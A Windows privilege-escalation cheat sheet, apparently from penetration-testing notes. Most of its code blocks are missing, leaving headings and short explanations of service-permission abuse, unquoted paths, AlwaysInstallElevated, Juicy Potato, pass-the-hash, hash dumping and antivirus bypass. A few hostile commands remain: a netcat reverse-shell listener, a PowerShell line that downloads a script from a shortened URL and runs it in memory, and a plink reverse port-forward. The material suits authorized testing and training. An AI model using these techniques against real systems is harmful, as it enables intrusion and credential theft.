Windows
Windows Privilege Escalation Examples
https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/privilege-escalation/windows/windows-examples.rstMindMap
Windows Kernel Sploit List
Videos
https://www.youtube.com/playlist?list=PLjG9EfEtwbvIrGFTx4XctK8IxkUJkAEqP
use rlwrap to improve windows shell
rlwrap nc -lnvp 443
Useful commands
Credential reuse
Sometimes a user that you have the credentials for is also the administrator on the system, but uses the same password for both accounts. So never forget to try passwords when you have the chance. Just don't overdo it so you trigger some lockout mechanism and get detected.
Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group. As you can see from the output of the three commands below the username is hacker, he is part of the group administrators. In this case, a privilege escalation is not necessary because we are already in the administrators group!
whoaminet localgroup administratornet user "%username%"
Getting a shell in limited interpreters:
Bind cmd to a port:
Reverse shell:
To capture NTLM hash
Spin up smbserver.py and connect via smb to your server on kali. ie smbclient -L //$kali$ip
System info
Finding installed software, running processes, bind ports, and OS version might be critical to identify the right EoP vector.
Find installed patches, architecture, OS version
Get exact OS version
Hotfix(s): N/A If there are no Hot fixes then its likely the system is vulnerable to kernel exploit
Hostname
Environment
List open connections
Network information
Information about a Users & Administrator
Find current user.
List all users
Firewall information
List scheduled tasks
List windows services
Links running processes to started services
Incorrect permissions in services
A service running as Administrator/SYSTEM with incorrect file permissions might allow PE. You can replace the binary, restart the service and get system.
We are interested in services where permissions are: BUILTIN\Users with (F) or (C) or (M) for our group. More info about permissions:
Common exploitation payloads involve: Replacing the affecting binary with a reverse shell or a command that creates a new user and adds it to the Administrator group. Replace the affected service with your payload and and restart the service running:
Obtain the permission string of all services
The following commands will print the affected services:
If wmic is not available we can use sc.exe:
You can also manually check each service using cacls:
If you don't have access to wmic, you can do:
Windows XP SP1 is known to be vulnerable to PE in upnphost. You get Administrator with:
If it fails because of a missing dependency, run the following:
Or remove the dependency:
Using meterpreter:
acesschk.exe
If wmic and sc is not available, you can use accesschk. For Windows XP, version 5.2 of accesschk is needed:
Then query the service using Windows sc:
Then change the binpath to execute your own commands (restart of the service will most likely be needed):
Note - Might need to use the depend attribute explicitly:sc stop <vuln-service>
Juicy Potato (abusing the golden privileges)
If you have SeAssingPrimaryToken or SeImpersonate privileges, you can get SYSTEM.
Vulnerable Win versions
create payload
run juicy potato
capture connection
Find unquoted paths
If we find a service running as SYSTEM/Administrator with an unquoted path and spaces in the path we can hijack the path and use it to elevate privileges. This occurs because windows will try, for every white space, to find the binary in every intermediate folder.
For example, the following path would be vulnerable:
Not vulnerable
Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths):
We could place our payload with any of the following paths:
The following command will display affected services:
Check Permissions
We might even be able to override the service executable, always check out the permissions of the service binary:
You can automate with meterpreter:
PowerUp
PowerUp is an extremely useful script for quickly checking for obvious paths to privilege escalation on Windows. It is not an exploit itself, but it can reveal vulnerabilities such as administrator password stored in registry and similar. We shamelessly use harmj0y's guide as reference point for the following guide. Some basic knowledge about how to import Powershell modules and used them is required.
PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations
Import the PowerUp module with the following:
PS C:\> Import-Module PowerUp.ps1
CanRestart
The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!
Use msfvenom to generate a reverse shell as an Windows executable.
If you want to invoke everything without touching disk, use something like this:
C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mK64oH’); Invoke-AllChecks”
Finding stuff fast
ClearText passwords (quick hits)
findstr /s /C:"stringtosearchfor.txt" "C:*"
We might sometimes find passwords in arbitrary files, you can find them running:
Find all those strings in config files.
Find all passwords in all files.
These are common files to find them in. They might be base64-encoded. So look out for that.
Stuff in the registry:
Using meterpreter:
Pass the hash
Pass The Hash allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a cleartext password.
Windows hash format:
You can do a hash dump in the affected system running:
Download and run fgdump.exe on the target machine.
or:
You can also do run as, with the hash:
Technique 1:
Technique 2:
Technique 3:
Services only available from loopback
You can find services bind to the loopback interface that are not reachable through the network running. Look for LISTENING/LISTEN:
Port forward using plinplink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080
Port forward using meterpreter
If powershell is blocked, you can download:
Once you know the updates installed, you can find known exploits using windows-exploit-suggester.
In March 2017 Microsoft stopped maintaining the security bulletin search. This means the Windows Exploit Suggester database will not include any vulnerabilities or exploits found after that date. Still, this tool can still be very useful on older systems.
Compile windows exploit in linux:
Compiling python scripts to executables:
AlwaysInstallElevated
AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.
Check if these 2 registry values are set to "1"reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If they are, create your own malicious msi:
Then use msiexec on victim to execute your msi:
Metasploit module:
Windows-privesc-checker2
Vulnerable drivers
Third party drivers might contain vulnerabilities, find them running:
Kernel vulnerabilities
Run exploit suggester against systeminfo:
Find installed paths:
Comprehensive tables of vulnerabilities below:
Windows version map
Automated tools
Powersploit
PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment
Reverse Shell from Windows
If there’s a way, we can execute code from windows, we may try
Uploading ncat and executing it
Powershell Empire/ Metasploit Web-Delivery Method
Invoke-Shellcode (from powersploit) see below
Metasploit
Metasploit incognito
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
Useful commands
Add a new user
Print files contents:
Remove file
Change password for user:
List users:
Info about a user:
Permissions on a folder recursively:
Enable RDP access
This is useful to do because generally it is easier to manipulate windows using the GUI. The downside is that you're most definitely will have an impact on the machine, as you may have to create a user or change a user's password to get in.
Disable firewall
Run exploit
JAWS
Metasploit
Module to elevate privileges to SYSTEM by creating a service or hijacking existing ones with incorrect permissions
Other scripts
GDSSecurity's Windows-Exploit-Suggester worked excellently for operating systems in the Windows XP and Windows Vista era, GDSSecurity's Windows-Exploit-Suggester does not work for operating systems like Windows 10 and vulnerabilities published in recent years. This is because Microsoft replaced the Microsoft Security Bulletin Data Excel file [1] on which GDSSecurity's Windows-Exploit-Suggester is fully dependent, by the MSRC API [2]. The Microsoft Security Bulletin Data Excel file has not been updated since Q1 2017, so later operating systems and vulnerabilities cannot be detected. Thanks @gdssecurity, for this great tool which has served many of us for so many years!
Useful exploits
Automatically downloads and compiles exploit
Windows Remote Exploits:
Windows Local Exploits:
Check out:
Windows Server 2003 and IIS 6.0 privilege escalation using impersonation:
Windows MS11-080
http://www.exploit-db.com/exploits/18176/
From admin to system
AV bypass
Generating a mutated binary to bypass antiviruses
Access Check
You will probably need to accept the eula first:
Windows hashes
if you capture a hash - put it into Google someone might have cracked it before
NTLM and LM passwords are located in the SAM file in C:\\Windows\SYSTEM32\CONFIG
LAN Manager (LM): Windows XP and prior use LAN manager protocol. Uses DES but the key space is small (only uppercase, not salted, 14 chars or padded to 14).
NTLM/NTLM2: It does not split the password, also stored in uppercase
Kerberos: Default protocol for active directory envs.PoCs
Add user to administrator group
Run an arbitrary command:
Print proof
Last updated
Was this helpful?